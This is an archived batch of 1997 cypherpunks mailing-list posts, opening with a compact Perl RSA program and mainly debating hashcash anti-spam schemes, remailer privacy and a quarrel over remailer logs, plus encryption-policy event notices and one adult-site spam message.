print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 14 Dec 1997 00:12:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971213110625.032e7afc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:55 AM 12/13/97 GMT, Adam Back wrote:
>Remailers require a different strategy.  With remailers you are trying
>to discourage spammers from using the remailer, with email you are
>also trying to discourage spammers, but you have to do it in ways
>which is easy for neophytes to cope with.

I'm unsure that this is what we are trying to do at all.  I'm perfectly
willing to assume that a remailer gets it's mail into it.  The problem is
now that the remailer has to deliver the mail.  Under this plan, to deliver
mail there must be hashcash for the delivery to the point beyond the
remailer.  I'm suggesting that if the remailer sends out 3,000 messages
with a 1/3 sprinkling of CC'ed addresses on equipment that is half as fast
as normal equipment, the 20 seconds of hashcash will require an average of
44 hours of CPU time per day.  44 hours for the hashcash that is needed at
the destination SMTP, not the hashcash to get into the remailer.

HashCash has often been suggested as a method for throttling spam that
would be sent to remailers.  This is not what I was responding to.  I was
responding to a suggestion that ISPs start requiring hashcash.  I'm
honestly unclear as to whether the remailer must generate the hashcash for
the future SMTP's or if the suggestion is that the originator is generating
all of the hashcash.  Since remailers mangle the messages and regenerate
them, I am unsure if originator generated hashcash is to be made for the
destination mail port, or if the remailer must do this.

If there is in fact a requirement that the sender generate the hashcash,
then I am not sure this will work.  A nym reply block possibly does not
lead to an exit address, but rather to another reply block.  In fact, this
should always be the case.  There is no way for the sender of the email to
know this route, or how many reply blocks there are.  Any scheme which
permits the same hashcash to send a message to two nym reply blocks and a
destination address will also allow spammers to send spams to multiple
addresses with the same hashcash.

Not only with nyms, but with regular email addresses multiple hops may be
required to deliver email.  For instance, the address "rcostner@cpsr.org"
will deliver email to me.  This address forwards mail to "pooh@efga.org".
The efga domain cannot be POP'ed into, so this is then remailed to wherever
I'm POP'ing into this month.  Since the original sender cannot know this,
and since ALL email to me requires a minimum of two mail gateways to get to
me it seems that this hashcash plan has some problems.

Further, I highly dislike the notion of maintaining system level databases
of who is communicated with.  As in a quote from Adam Back's web page

     To solve this problem subscribers should put the mailing list
     address in a postage-free recipients list. 

Traditional "wire tapping" would require that a communications port be
monitored to find out who communications are being made with.  Under the
"postage free list" plan, this information sits in a file waiting to be
collected with no difficulty at all.  Implemented on the SMTP level, we
have a way of testing for who a person communicates with.  After a HELO, we
spoof in a MAIL FROM:, then look to see if we get a "559 HashCash Required"
error.

I've never been impressed with the hashcash method of thwarting spam.  I'm
just not really sure that a technical solution to spam will work in any event.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 01:30:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Not quite as much Blood in the Streets (fwd)
Message-ID: <199712131743.LAA22964@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: frissell@panix.com
> Date: Sat, 13 Dec 1997 09:32:46 -0500
> Subject: Not quite as much Blood in the Streets

> The Net teaches even old dogs new tricks.  From the Laissez Faire Books 
> catalog:
> 
> http://www.lfb.org/investment.html#iv7644
> 
> *****************
> 
> James Davidson and William Ress-Mogg 
> 
> THE SOVEREIGN INDIVIDUAL
> How to Survive and Thrive During the Collapse of the Welfare State
> by James Dale Davidson and Lord William Rees-Mogg 
> 
> In their newest work, the authors of Blood in the Streets and The Great 
> Reckoning predict increased autonomy for the individual as information 
> technologies advance and old institutions crumble-including the welfare state 
> itself. Along with an array of provocative predictions (government will 
> declare war on groups that try to circumvent income tax through cyberspace; 
> central banks will lose control over the money supply as cybercash supplants 
> paper money; the U.S. government will shrink) Rees-Mogg and Davidson offer 
> investment advice and strategies for coping.

Check the archives, I've made several posts about this book.

It *SUCKS*, the authors can't make up their minds, use poor logic, use
examples which if researched even a little become clearly incompatible with
their thesis, etc.

Spend your money elsewhere.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 13 Dec 1997 22:30:09 +0800
To: cypherpunks@ssz.com
Subject: Re: hashcash spam prevention & firewalls
Message-ID: <199712131225.MAA02138@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk>:

> I am looking at writing some hashcash
> (http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention
> software.

> So what we want is a filter to bounce messages without the required
> hashcash postage, we ideally want this to happen at the ISP or
> organisational SMTP server end, rather than at the recipients end,
> because a) it is simpler for 1 service provider to install software
> than 100,000 neophytes,

Hashcash in this context suffers from the 'fax effect' - the
catch 22 of "We won't install what isn't widely used".


>                         and b) it reduces bandwidth consumption on
> dial up users pay per second lines as the spam is killed before they
> see it.

I have not (yet) persuaded demon to allow user-defined procmail rules
on the ISP end of the phone lines.  Anybody know an ISP who does this ?
I'll be with them in days if they match the other services I want.
I can't imagine ISPs installing something at all exotic if they refuse
to use procmail.

> Secondly the proxy approach prevents some of the SMTP server functions
> from operating properly because the process on the other end of the
> socket is our hashcash proxy on localhost rather than the remote mail
> hub

No loss.

> If the postage is valid, replay the headers to the real SMTP server
> (with IP masquerading so that the IP address appears to be coming from
> the originator, so that the SMTP server will not get upset about
> reverse DNS look up mismatches etc).  Then act as a dumb proxy for the
> rest of the connection passing data through to the normal hashcash
> server.

The above paragraph looks like a strange (and IMHO wrong) way to
mix firewall technologies.  If you are passing mail through a proxy
you won't want to either IP masq or lookup DNS records internally.

> There are a few techniques to reduce the overhead of preventing spam
> with hashcash.  One is to require valid hashcash only on the first
> message to a given address.  (Spammers being hit and run types, and
> even having to generate hashcash for each spamee once would be
> expensive for a spam list of 10 million unwilling spam recipients).
> Better, is to require valid hashcash on all mail, _until_ the
> recipient replies to a mail.  This is good because people rarely reply
> to spammers.

This means a huge database of who has replied to whom.  Must the
reply have headers indicating In-Reply-To a recognisable message ?


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 14 Dec 1997 04:58:14 +0800
To: Bill Stewart <cypherpunks@cyberpass.net
Subject: Re: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971213093848.038eb1a8@panix.com>
Message-ID: <v03102800b0b897aeb1bb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 AM -0700 12/13/97, Bill Stewart wrote:
>At 09:38 AM 12/13/1997 -0500, frissell@panix.com wrote:
>>Eleven *whole* months (8 months served already).  They've got to be
>>kidding.
>>This is misdemeanor territory.  I know he was chicken enough to plead but
>>Milken pleaded and got 10 years!  We're quaking in our boots out here.
>
>Does the 11 months include time served?

Bill, Bill, Bill....

That was not "time served," that was "psychological counselling." Bell was
under the benficent care of mental health workers, seeking to allay his
fears of the government.

The six months he spent in psychological counelling were not prison time,
just as the Soviet hospitals for dissidents were not actually prisons.

With enough further care, Citizen-Unit Bell will _love_ Big Brother.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: succuba97@hotmail.com
Date: Tue, 16 Dec 1997 13:26:56 +0800
To: cypherpunks@toad.com
Subject: "where would you find"
Message-ID: <19971213134637.succ2831.in@host>
MIME-Version: 1.0
Content-Type: text/plain




The latest virtual  XXX entertainment  that is as good...well ALMOST as good as the REAL THING?


HERE


http://www.succuba.com

WARNING:

1.  YOU MUST BE OVER 18 YEARS OF AGE

2.  YOU MUST HAVE A STRONG HEART ;)

3.  IT'S HOTTTTTTTT ;}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Alan Sherman" <sherman@gl.umbc.edu>
Date: Sun, 14 Dec 1997 02:58:55 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: Gilmore to speak on encryption policy at UMBC (Tues, Dec 16)
Message-ID: <Pine.SGI.3.91.971213134716.17800A-100000@pomeranian.cs.umbc.edu>
MIME-Version: 1.0
Content-Type: text/plain



   The UMBC Security Technology Research Group presents

        Two Divergent Views on Encryption Policy:
				   
I.  Wisdom and Constitutionality in U.S. Cryptography Policy
 John Gilmore, Co-Founder, Electronic Frontier Foundation

II. A Government Perspective on Encryption Policy
 [Will anyone from the U.S. Government agree to speak??*]

Two divergent views on the topic of encryption policy by
freedom activist John Gilmore and by a government official,
if one agrees to speak.  Journalist Peter Wayner will
moderate the event, which is free and open to the public.
  Note: If no one from the U.S. Government is willing to
explain and discuss Government encryption policy, then the
event will proceed with John Gilmore alone.

  8-10:30 pm
  Tuesday, December 16, 1997
  Lecture Hall III (in Administration Building)
  University of Maryland Baltimore County
  http://www.cs.umbc.edu/events/fall97/crypto.shtml

The fifth employee of Sun Microsystems and a strong believer
in the U.S. Constitution, John Gilmore is currently involved
in litigation against several government agencies over
matters of freedom of information, freedom of expression,
and encryption policies.  He will discuss the
constitutionality of controlling encryption.

Directions: Take Exit #47B off interstate I-95 and follow
signs to UMBC.  LH III is on the ground floor of the (tall)
administration building, adjacent the visitor's parking
lot, near the I-95 entrance to UMBC.

Host: Dr. Alan T. Sherman
      Associate Professor, Computer Science
      sherman@cs.umbc.edu
      http://www.umbc.edu
      (410) 455-2666

     This event is held in cooperation with the UMBC
	       Intellectual Sports Council
		       Honors College
	       Phi Beta Kappa honors society
                   CMSC Council of Majors
		   IFSM Council of Majors

* The following U.S. Government officials declined to speak on December 16:

Barry Smith (Supervisory Special Agent, FBI)  
   [Mr. Smith has agreed in principle to speak at UMBC in the spring on
    a law enforcement view of encryption policy;  the evening of 
    Dec 16 turned out to be a bad time for him.]
William Reinsch (Undersecretary for Export Administration, BXA)
Bob Litt (Attorney General's Office, DoJ)
Scott Charney (Computer Crimes, DoJ)
Bruce McConnell (Information Policy, OMB)
Ron Lee (General Counsel, NSA)
Dr. Clint Brooks (Director, Cryptographic Policy, NSA)
Charlotte Knepper (Co-Chair, Inter-Agency Working Group on Encryption Policy)
Chris McLean (Staffer for Senator Bob Kerry;  helped draft legislation
  on encryption policy)

I am still hopeful to find a second speaker by Tuesday evening.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Sun, 14 Dec 1997 04:07:24 +0800
To: phelix@vallnet.com
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <34921c6b.2682714@128.2.84.191>
Message-ID: <Pine.OSF.3.96.971213120112.17974C-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> What's the difference between this and simply keeping track of how many
> messages each user sends in a 24 hour period and blocking people who are
> obviously spamming?

Spammers don't have to appear to be the same person every time, nor do their
messages have to be identical or even similar, so blocking of that kind can be
worked around fairly easily -- at least more easily than hashcash. 

> 
> -- Phelix

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Sun, 14 Dec 1997 04:12:38 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <Pine.OSF.3.96.971213112320.17974A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



...
> So, we would need about 44 hours of CPU time each day.

Well, have a system of certified remailers trusted to force their users to burn
up time at the sending end, so the ultimate recipient accepts their messages
w/o postage. One certified remailer accepts messages from others without any
postage, so only the original sender has to use up CPU time. 

>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh@efga.org  
>      http://www.efga.org/            run PGP 5.0 for my public key

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 22:11:36 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <66q35r$7uq@examiner.concentric.net>
Message-ID: <199712131402.PAA10108@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sam" <sam-001@dpinc.ml.org> wrote:

> >:That's precisely my point.  And now he refuses to disclose his motives for
> >:that demand or what he intended to do with the names and addresses contained
> >:in those logs.  Every time he's asked the question of why he attempted to
> >:violate the privacy of hundreds or perhaps thousands of remailer users, it
> >:elicits another tantrum that goes, "Lies!  Prove it!  Why are you harassing
> >:me?  What are your demands?"
> >
> > You still can't answer it so you ignore it. 
>  
> What is the nature of the harassment that you are complaining about?  Has
> this anonymous individual mailbombed you?  Made threatening phone calls in
> the middle of the night?  All I see are a bunch of posts, without any
> profanities, that make a bunch of cogent points, and claims.  Is this what
> you consider harassment?  Is this what you call "harassment"?
>  
> That must mean that I'm harassing you as well, right?

That is exactly my objection to the tactics of Gary Burnore and the DataBasix
gang.

NOW Gary claims that he's not against remailers, yet his treatment of Jeff 
Burchell speaks for itself.  In the past, he's said things like "remailers
have their place, but their operators should prevent them from being used for 
abuse".  That sounds reasonable, until you read between the lines.  He calls
the kind of discussion that the three of us are engaging in "harassment", and
has even, upon occasion, accused posts critical of him of constituting
"libel".  Yet he offers no suggestion of how a remailer operator is supposed
to detect and prevent "libel".  He has offered no handy-dandy Perl script
which will act as a "truth filter" and detect the truth or falsity of a
particular post, since posting the truth about someone, as unflattering as
it may be, is not "libel".

Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.  His
dealings with people who challenge him publicly should serve as an object
lesson as to why people may wish to think twice before broadcasting their
e-mail addresses to the world with every Usenet posts.  Most people, I would
suspect, would not consider it great fun to speak their mind and face
retaliation by having an old state tax lien (complete with street address)
dredged from the archives and posted worldwide to usenet, with the threat that
unless the criticism ceases, "there's more where that came from".

It's sort of hard to harass an anonymous poster in that fashion, so Gary has
to settle for juvenile taunts of "anon asshole".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 22:42:39 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <34907059.1254176@nntp.best.ix.netcom.com>
Message-ID: <199712131433.PAA12675@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



rashidk@mailexcite.com (Rashid Kaman) wrote: 

> X-No-Archive: yes

> >The whole "spam bait" issue is obviously a smoke screen, since the alleged
> >spam-bait came AFTER the demand for Jeff's logs.
>  
> The spambaits, at a rate of a dozen a day in early and mid-April, came
> BEFORE Jeff Burshell,  presented with their existence, offered in late
> April, to turn over his machine logs.

I'm not sure how you're involved in this scenario, nor what your source of
information is.  I was quoting from a public post by Jeff Burchell, the operator 
of the remailer in question, and he specifically stated that the so-called "spam 
baits" began AFTER Gary Burnore had demanded that Jeff turn over his remailer 
logs to DataBasix, and BEFORE Belinda Bryan sent him the letter claiming to be 
with DataBasix' "legal department" and formalizing that demand.

Read it for yourself:

-> I still don't know what the hell is going on with DataBasix, Wells Fargo
-> and Gary Burnore, but I suspect that someone used huge.cajones to say
-> something extremely unflattering about Burnore (from what I can tell,
-> he had it coming).  Burnore then decided that he would make things
-> difficult for me.  First, he wanted the user who had posted something 
-> "inflammatory" about him revealed.  When I told him that I couldn't
-> do that, he carried on about mail logs and identifying the host that
-> a message came from (the usual).  I didn't explain to him that my
-> machine keeps logs, but not anything involving a *@cajones.com
-> address.  He then requested the logs, which I denied (and told him 
-> to get his lawyer to send a request...)

Here comes the key part:
  
-> Between the time he first contacted me, and the time I received the 
-> letter from Belinda Bryan, is when the baiting of databasix addresses
-> began (slowly, with just a few posts).

It appears that his account differs from yours.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 14 Dec 1997 04:55:02 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Columbian squib on Bell sentencing
Message-ID: <199712132049.PAA22202@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/13/97 9:38 AM, frissell@panix.com (frissell@panix.com)  passed
this wisdom:

>>>From The Columbian's web site at
>><http://www.columbian.com/newsroom/topstories.html>:
>>
>>     'Assassination Politics' 
>>     author gets 11 months
>>
>>       TACOMA, Wash. - James Dalton Bell, the Vancouver man who
>> wrote an Internet essay entitled "Assassination Politics," was
>>sentenced this morning to 11 months in prison and two to three years
>>of tightly supervised probation.
>
>Eleven *whole* months (8 months served already).  They've got to be 
>kidding.  
>
>This is misdemeanor territory.  I know he was chicken enough to plead
>but Milken pleaded and got 10 years!  We're quaking in our boots out
>here.

 ... hmmmm ... any hint of resrictions? i.e like not being able to use
a computer or be on the Internet??? Considering how much they harped
about the A.P. scheme I would have thought that would have been a
centerpiece of any punishment they meted out to Jim.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJL02j7r4fUXwraZAQG1Ogf/W/3Sq5L+KNmWQuNryYqXSlykB0zELONA
bsdlh7X6OslhB0vcfDzTlScfHTAV0dSI3PjHRvVIxAa8/ofQqNsD3zBxT8yoeJ79
++KkprNFbDBleOR5OQk2R4dh8NkxeSe/j64snL8ra4duipjWfizqaM/5He2+dYgy
SdI6IVzQUFPbXUQEk5AFb0r9s0E5/3YFPK7dp6KpXilIbFWPweTzsZKn5UamsdBR
m0rmWu+uH+5xL0+xbE5P0zGOEJtXzdaovQS8RSfKfOd3Fdnh75NFewPufM1aNDKd
yfvmRHZLt3zwn9bNqd0tavSPo2hO66pQsIIM3sP4S0hF7Xp0PLTV3A==
=y+eC
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 14 Dec 1997 05:28:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:07 PM 12/13/97 -0600, Uhh...this is Joe [Randall Farmer] wrote:
>> So, we would need about 44 hours of CPU time each day.
>
>Well, have a system of certified remailers trusted to force their users to
burn
>up time at the sending end, so the ultimate recipient accepts their messages
>w/o postage. One certified remailer accepts messages from others without any
>postage, so only the original sender has to use up CPU time. 

Once again someone is responding to me by talking about hashcash in the
internal remailer network.  I don't think this is what I'm referring to.
Perhaps because I do not fully understand how anti spam hashcash would be
implemented on a per message basis.

The idea proposed was one to limit Spam to ISPs by using hashcash to stop
spam coming into an ISP.  Imagine the domain anon.efga.org wishes to send
4,000 per day messages to the various domains netcom.com, aol.com,
mindspring.com, etc.  Each individual message is reasonably unique coming
from anon.efga.org.  Since we need hashcash now to LEAVE a remailer, not to
enter one, where does this hashcash come from?  A busy remailer could not
generate it's own hashcash for the destination non-remailer ISPs.

Does the same hashcash that allows a message to enter the remailer network
also retain it's validity once the message has been rewritten by the
remailer?  Is this hashcash still valid for the destination mail server at
netcom?  Does the initial sender provide two instances of hashcash, one to
get into the remailer, and one to get into the destination mail system?

Various remailers can distort a message in a variety of ways.  Dropping of
MIME attachments, munging of email addresses when CC'ed to a newsgroup,
adding a PGP signature or timestamp, adding headers that explain it's a
remailer, adding footers that explain it's a remailer.  Since the actual
message can change, it seems that for hashcash to be message dependent, it
would have to be generated by the exit remailer.

I'm not claiming I understand the concept of hashcash.  I'm simply pointing
out I don't see how it would truly be effective in a real world application.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 06:18:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Ok children...
Message-ID: <199712132228.QAA23871@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Would you gentlemen be so kind as to take your personal and apparently petty
squabble elsewhere?

Thanks for your prompt help with this matter.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-cypherpunks@ssz.com Sat Dec 13 16:27:26 1997
> Date: Sat, 13 Dec 1997 23:04:07 +0100 (MET)
> Message-Id: <199712132204.XAA04453@basement.replay.com>
> To: mail2news@anon.lcs.mit.edu, cypherpunks@toad.com,
>         mail2news@basement.replay.com, m2n@alpha.jpunix.com
> From: nobody@REPLAY.COM (Anonymous)
> Organization: Replay and Company UnLimited
> 
> X-001: Replay may or may not approve of the content of this posting
> X-002: Report misuse of this automated service to <abuse@replay.com>
> X-URL: http://www.replay.com/remailer/
> Newsgroups: alt.privacy.anon-server,alt.cypherpunks,news.admin.net-abuse.email,alt.privacy,alt.censorship,comp.org.eff.talk
> Subject: Re: Another of Gary Burnore's Lies Exposed
> References: <66ssjm$bei@examiner.concentric.net> <199712131402.PAA10108@basement.replay.com> <3494afd2.148597235@nntp.best.ix.netcom.com>
> Sender: owner-cypherpunks@ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks@ssz.com
> X-List-Admin: list@ssz.com
> X-Loop: ssz.com
> X-Language: English, Russian, German
> 
> gburnore@netcom.com (Gary L. Burnore) wrote:
> 
> > X-No-Archive: yes
> 
> > :> That must mean that I'm harassing you as well, right?
> > :
> > :That is exactly my objection to the tactics of Gary Burnore and the DataBasix
> > :gang.
> >  
> > You've posted no evidence tactics were EVER used.  Naturally, you expect
> > everyone to believe you and naturally, a few like sam will.
> 
> I don't expect anybody to "believe me".  That's why I have posted a URL to a 
> post by Jeff Burchell in which he outlines your tactics, such as your demand
> that he turn over his logs to you, which would have had the effect of 
> compromising the remailer's security and eroding confidence in it.  Is that
> really what you wanted?  For remailer users to distrust the remailer net and
> stop using it?  You have still not explained why you wanted the remailer logs 
> and what you intended to do with the names and addresses contained therein.
> 
> > : He calls
> > :the kind of discussion that the three of us are engaging in "harassment", and
> > :has even, upon occasion, accused posts critical of him of constituting
> > :"libel".
> >  
> > You have from time to time constituted libel. 
> 
> Would you care to prove that?  Saying something that Gary Burnore or Belinda
> Bryan don't like is not "libel".  To be "libel" a statement must be both
> DEFAMATORY as well as FALSE.  While being reminded of your own actions
> several months ago might prove to be embarassing, it's not libel.
> 
> What was really laughable was when your fellow DataBasix staff member Billy
> McClatchie accused another anonymous usenet poster of "slander"!  He must have 
> gone to the same law school as Belinda. <g>
> 
> > That's not abuse.  Your
> > harassment is only that, harassment.  The ABUSE is UCE-Baiting.  The fact that
> > some remailer operators are now taking measures to prevent UCE-Baiting is
> > evidence not only that the problem existed, but that something COULD be done
> > about it.
> 
> That's not what Jeff's post said.  It said that your pretext for demanding his
> user logs was an "unflattering post", not all this nonsense about "spam baiting"
> that you invented later.
> 
> My "harassment"?  You keep whining about my so-called "harassment", but you
> have yet to prove ANY of it.
> 
> > :Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.
> >  
> >  
> > Unwittingly?  I was never NOT a friend of remailers.  YOU on the otherhand may
> > simply be unwittingly trying to shut them down.  I happen to believe you're
> > doing it on purpose, but maybe, just maybe, you have no clue what you're
> > doing.
> 
> What would people have to be smoking (and inhaling) to believe that nonsense?
> Anyone who demands that a remailer operator violate the privacy of all of his
> users to placate one chronic whiner is no "friend" to remailers.  Such 
> "friends" they can do without.  What do you think it would have done for the 
> reputation of remailer security if Jeff had actually kept logs and had turned 
> them over to individuals such as you and Belinda?
> 
> Do you really think it would be more "pro remailer" to just pretend that your
> attempt to attempt to obtain sendmail logs from the Huge Cajones Remailer 
> didn't occur?
> 
> Of the two of us, I'm the one that admits to actually USING remailers.  For me
> to try to shut them down would make no sense.
> 
> > If you don't like being called the anon asshole, stop being an asshole.
> 
> If you don't like being called anti-privacy, stop being anti-privacy.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@clueserver.org>
Date: Sun, 14 Dec 1997 08:15:52 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Smartcard update
In-Reply-To: <Pine.BSF.3.96.971213100418.26349A-100000@pakastelohi.cypherpunks.to>
Message-ID: <Pine.LNX.3.95.971213171014.31808B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 13 Dec 1997, Lucky Green wrote:

> Cypherpunks Tonga announces yet another version of SIO/STEST, the
> universal smartcard software.
> 
> Quick summary of changes:
>  - Philips, Gemplus, and Schlumberger reader support added
>  - Chipknip (IEP) specific commands added
>  - new internal commands
>  - infrastructure for implementing card specific commands has been added
>    (which the chipknip commands are built on top of)
> 
> At this point, we need others to start writing tables to support
> additional cards. If you have an ISO7816 compatible smartcard with
> programmer reference manual and minimal C knowledge, you can contribute to
> the project. 

What kind of cash outlay would I be looking at for doing smartcard
development?  What do the needed parts run?  Any recomendations on
suppliers?  Places to avoid?

>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

Don't they make toy trucks? ]:>

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 02:07:01 +0800
To: ravage@ssz.com
Subject: Re: hashcash spam prevention & firewalls (fwd)
In-Reply-To: <199712131409.IAA22278@einstein.ssz.com>
Message-ID: <199712131741.RAA01452@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> > acceptable for the first pass to allow spamming of mailing lists but not of
> > individuals email addresses.  (Apologies in advance to list moderators.)
> 
> We have a moderator? 

I Bcc'd the message Bill is replying to to coderpunks@toad.com;
coderpunks has a retro moderator (what ever that may mean in practice
-- all I've seen so far is "this is off topic, please stop at once"
posts from said retro-moderator).

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 14 Dec 1997 09:50:16 +0800
To: cypherpunks@Algebra.COM
Subject: technical spam prevention
Message-ID: <199712140145.RAA29782@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



the problem of spam prevention has concerned me for a long time.
the Internet was designed to withstand a nuclear attack-- yet
it is incredibly vulnerable to spam. the initial assumption
was that all nodes on the network are friend, not foe, i.e.
trusted. this concept is breaking down as the net scales massively.

some people warned long ago that spam would become an increasing
problem on the net as it scaled, and that the technical visionaries would
wise to try to cooperate and come up with approaches. such a 
point of view is not popular on this list, which is not really
big on collaboration (despite that some of the greatest successes
and fame have come from it, such as via the code cracking 
ring). but increasingly events are forcing people to come together
to come up with solutions.

there are many promising approaches to spam prevention. the one
I like is a system whereby the receiver can specify how much
money it costs to receive an email from anyone. the mail is
rejected if it doesn't contain this fee. different people
can configure their incoming mail different. Gates may charge,
